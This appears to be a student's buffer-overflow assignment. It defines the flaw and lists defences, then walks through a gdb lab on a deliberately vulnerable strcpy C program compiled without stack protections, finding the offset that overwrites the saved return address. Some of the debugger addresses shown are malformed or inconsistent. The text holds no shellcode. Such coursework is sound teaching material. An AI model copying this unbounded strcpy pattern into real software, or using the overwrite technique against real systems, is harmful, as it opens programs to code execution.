

Q1

A buffer overflow condition exists when a program attempts to put more data in a buffer than it can hold which might result in putting data in a memory area past a buffer. In this case, a buffer is a sequential section of memory allocated to contain anything from a character string to an array of integers.

This vulnerability usually occurs when user input is not properly sanitized or buffer is not big enough to hold data.

Exploiting buffer overflow can corrupt data (stack or heap), crash the program or system, or cause the execution of malicious code (stack smashing).

Q2

- Using languages that are highly immune to buffer overflow (e.g., Python and C#)
- Sanitizing and bound checking user input to prevent overwriting into buffers
- Avoiding standard library functions that have not been bound-checked (e.g., gets, scanf, etc.)
- Address space layout randomization (ASLR): Buffer overflow attacks typically need to know where executable code is located. ASLR moves at random around locations of data regions to randomize address spaces
- Data execution prevention: This method prevents an attack from being able to run code in non-executable regions by flagging areas of memory as executable or non-executable

Q3

Since Java Strings are based on char arrays and Java automatically checks array bounds, buffer overflows are only possible in unusual scenarios:

- If you call native code via JNI
- In the JVM itself (usually written in C++)
- The interpreter or JIT compiler does not work correctly (Java bytecode mandated bounds checks)

Q4

Practical Question

vulnerable Code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void copy(char *input) {
    char buffer[128];
    strcpy(buffer, input);
    printf("buffer is: %s\n", buffer);
    return;
}

int main(int argc, char *argv[]) {

    if (argc == 1)
        return 1;
    copy(argv[1]);

    return 0;
}
```

I used the following command to compile the code

```
gcc -z execstack -fno-stack-protector -o overflow main.c
```

here's the disassembly of the executable file

- **main**

```
gdb-peda$ disas main
```

Dump of assembler code for function **main**:

```
0x000011e2 <+0>: lea    ecx,[esp+0x4]
0x000011e6 <+4>:  and    esp,0xffffffff
0x000011e9 <+7>:  push   DWORD PTR [ecx-0x4]
0x000011ec <+10>: push   ebp
0x000011ed <+11>: mov     ebp,esp
0x000011ef <+13>: push   ecx
0x000011f0 <+14>: sub     esp,0x4
0x000011f3 <+17>: call   0x122c <__x86.get_pc_thunk.ax>
0x000011f8 <+22>: add     eax,0x2dfc
0x000011fd <+27>: mov     eax,ecx
0x000011ff <+29>: cmp     DWORD PTR [eax],0x1
0x00001202 <+32>: jne     0x120b <main+41>
0x00001204 <+34>: mov     eax,0x1
0x00001209 <+39>: jmp     0x1224 <main+66>
0x0000120b <+41>: mov     eax,DWORD PTR [eax+0x4]
0x0000120e <+44>: add     eax,0x4
0x00001211 <+47>: mov     eax,DWORD PTR [eax]
0x00001213 <+49>: sub     esp,0xc
0x00001216 <+52>: push   eax
0x00001217 <+53>: call   0x1199 <copy>
0x0000121c <+58>: add     esp,0x10
0x0000121f <+61>: mov     eax,0x0
0x00001224 <+66>: mov     ecx,DWORD PTR [ebp-0x4]
0x00001227 <+69>: leave
0x00001228 <+70>: lea     esp,[ecx-0x4]
0x0000122b <+73>: ret
```

End of assembler dump.

- **copy**

```
gdb-peda$ disas copy
Dump of assembler code for function copy:
0x00001199 <+0>:  push    ebp
0x0000119a <+1>:  mov     ebp,esp
0x0000119c <+3>:  push    ebx
0x0000119d <+4>:  sub     esp,0x84
0x000011a3 <+10>: call    0x10a0 <__x86.get_pc_thunk.bx>
0x000011a8 <+15>: add     ebx,0x2e4c
0x000011ae <+21>: sub     esp,0x8
0x000011b1 <+24>: push    DWORD PTR [ebp+0x8]
0x000011b4 <+27>: lea     eax,[ebp-0x88]
0x000011ba <+33>: push    eax
0x000011bb <+34>: call    0x1050 <strcpy@plt>
0x000011c0 <+39>: add     esp,0x10
0x000011c3 <+42>: sub     esp,0x8
0x000011c6 <+45>: lea     eax,[ebp-0x88]
0x000011cc <+51>: push    eax
0x000011cd <+52>: lea     eax,[ebx-0x1fec]
0x000011d3 <+58>: push    eax
0x000011d4 <+59>: call    0x1040 <printf@plt>
0x000011d9 <+64>: add     esp,0x10
0x000011dc <+67>: nop
0x000011dd <+68>: mov     ebx,DWORD PTR [ebp-0x4]
0x000011e0 <+71>: leave
0x000011e1 <+72>: ret
End of assembler dump.
```

put a breakpoint after strcpy with the following command

```
gdb-peda$ br *copy+39
Breakpoint 1 at 0x11c0
```

run the program and fill the buffer (with no overflow) using python -c
r \$(python -c "print('A'*127)")

```

[-----registers-----]
EAX: 0xbfffeed0 ('A' <repeats 127 times>)
EBX: 0x403ff4 → 0x3ef0
ECX: 0xbffff2b0 ("AAAAAAAA")
EDX: 0xbfffeef46 ("AAAAAAAA")
ESI: 0x403eec → 0x401140 (<__do_global_dtors_aux>:   push   ebp)
EDI: 0xb7ffeba0 → 0x0
EBP: 0xbfffeef58 → 0xbfffeef78 → 0x0
ESP: 0xbfffeec0 → 0xbfffeed0 ('A' <repeats 127 times>)
EIP: 0x4011c0 (<copy+39>:      add     esp,0x10)
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-----code-----]
0x4011b4 <copy+27>: lea     eax,[ebp-0x88]
0x4011ba <copy+33>: push   eax
0x4011bb <copy+34>: call  0x401050 <strcpy@plt>
⇒ 0x4011c0 <copy+39>: add     esp,0x10
0x4011c3 <copy+42>: sub     esp,0x8
0x4011c6 <copy+45>: lea     eax,[ebp-0x88]
0x4011cc <copy+51>: push   eax
0x4011cd <copy+52>: lea     eax,[ebx-0x1fec]
[-----stack-----]
0000| 0xbfffeec0 → 0xbfffeed0 ('A' <repeats 127 times>)
0004| 0xbfffeec4 → 0xbffff23a ('A' <repeats 127 times>)
0008| 0xbfffeec8 → 0xb7c09a30 → 0x6172 ('ra')
0012| 0xbfffeecc → 0x4011a8 (<copy+15>:      add     ebx,0x2e4c)
0016| 0xbfffeed0 ('A' <repeats 127 times>)
0020| 0xbfffeed4 ('A' <repeats 123 times>)
0024| 0xbfffeed8 ('A' <repeats 119 times>)
0028| 0xbfffeedc ('A' <repeats 115 times>)
[-----]
Legend: code, data, rodata, value

```

Registers:

```

gdb-peda$ i frame
Stack level 0, frame at 0xbfffeef60:
  eip = 0x4011c0 in copy; saved eip = 0x40121c
  called by frame at 0xbfffeef90
  Arglist at 0xbfffeef58, args:
  Locals at 0xbfffeef58, Previous frame's sp is 0xbfffeef60
  Saved registers:
    ebx at 0xbfffeef54, ebp at 0xbfffeef58, eip at 0xbfffeef5c
gdb-peda$ █

```

Stack around eip:

```
gdb-peda$ x/16dw 0xbffef5c-44
0xbffef30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffef40: 0x41414141 0x41414141 0x41414141 0x00414141
0xbffef50: 0x00000000 0xb7e1dff4 0xbffef78 0x0040121c
0xbffef60: 0xbffff23a 0xb7fdbd41 0xb7c1c9a2 0x004011f8
gdb-peda$
```

0x0040121c is the return address, which is exactly the instruction after calling copy in **main**

We can see that this return address is not overflowed, let's change that!

we need another 12 bytes to reach eip, so let's run the program again using this command

```
r $(python -c "print('A'*(128+12)+'YYZZ')")
```

here's the result

```
gdb-peda$ i frame
Stack level 0, frame at 0xbffef50:
  eip = 0x4011c0 in copy; saved eip = 0x5a5a5959
  called by frame at 0xbffef54
  Arglist at 0xbffef48, args:
  Locals at 0xbffef48, Previous frame's sp is 0xbffef50
  Saved registers:
    ebx at 0xbffef44, ebp at 0xbffef48, eip at 0xbffef4c
gdb-peda$ x/16dw 0xbffef4c-44
0xbffef20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffef30: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffef40: 0x41414141 0x41414141 0x41414141 0x5a5a5959
0xbffef50: 0xbffff200 0xb7fdbd41 0xb7c1c9a2 0x004011f8
gdb-peda$
```

As you can see, the string ZZYY has replaced the return address.

now we know the offset to reach eip is 140.

Let's repeat the process, but this time using **pattern**.

```
pattern arg 200
```

```
r
```

```
continue
```

```
pattern search
```

```

0020| 0xbffef34 ("ArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAXAAyA")
0024| 0xbffef38 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAXAAyA")
0028| 0xbffef3c ("AAWAAuAAXAAvAAYAAwAAZAAXAAyA")
[
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41416d41 in ?? ()
gdb-peda$ pattern search
Registers contain pattern buffer:
EBX+0 found at offset: 132
EBP+0 found at offset: 136
EIP+0 found at offset: 140
Registers point to pattern buffer:
[ESP] → offset 144 - size ~56
Pattern buffer found at:
0x004051ab : offset 0 - size 200 ([heap])
0xbfffedbc : offset 117 - size 83 ($sp + -0x164 [-89 dwords])
0xbfffee10 : offset 73 - size 44 ($sp + -0x110 [-68 dwords])
0xbfffee90 : offset 0 - size 200 ($sp + -0x90 [-36 dwords])
0xbffff1f2 : offset 0 - size 200 ($sp + 0x2d2 [180 dwords])
References to pattern buffer found at:
0xbfffe798 : 0xbfffedbc ($sp + -0x788 [-482 dwords])
0xbfffe7a4 : 0xbfffedbc ($sp + -0x77c [-479 dwords])
0xbfffe7e4 : 0xbfffedbc ($sp + -0x73c [-463 dwords])
0xbfffe7f8 : 0xbfffedbc ($sp + -0x728 [-458 dwords])
0xbfffed28 : 0xbfffedbc ($sp + -0x1f8 [-126 dwords])
0xbfffedaa0 : 0xbfffedbc ($sp + -0x180 [-96 dwords])

```

Shellcode injection attack is in the recorded video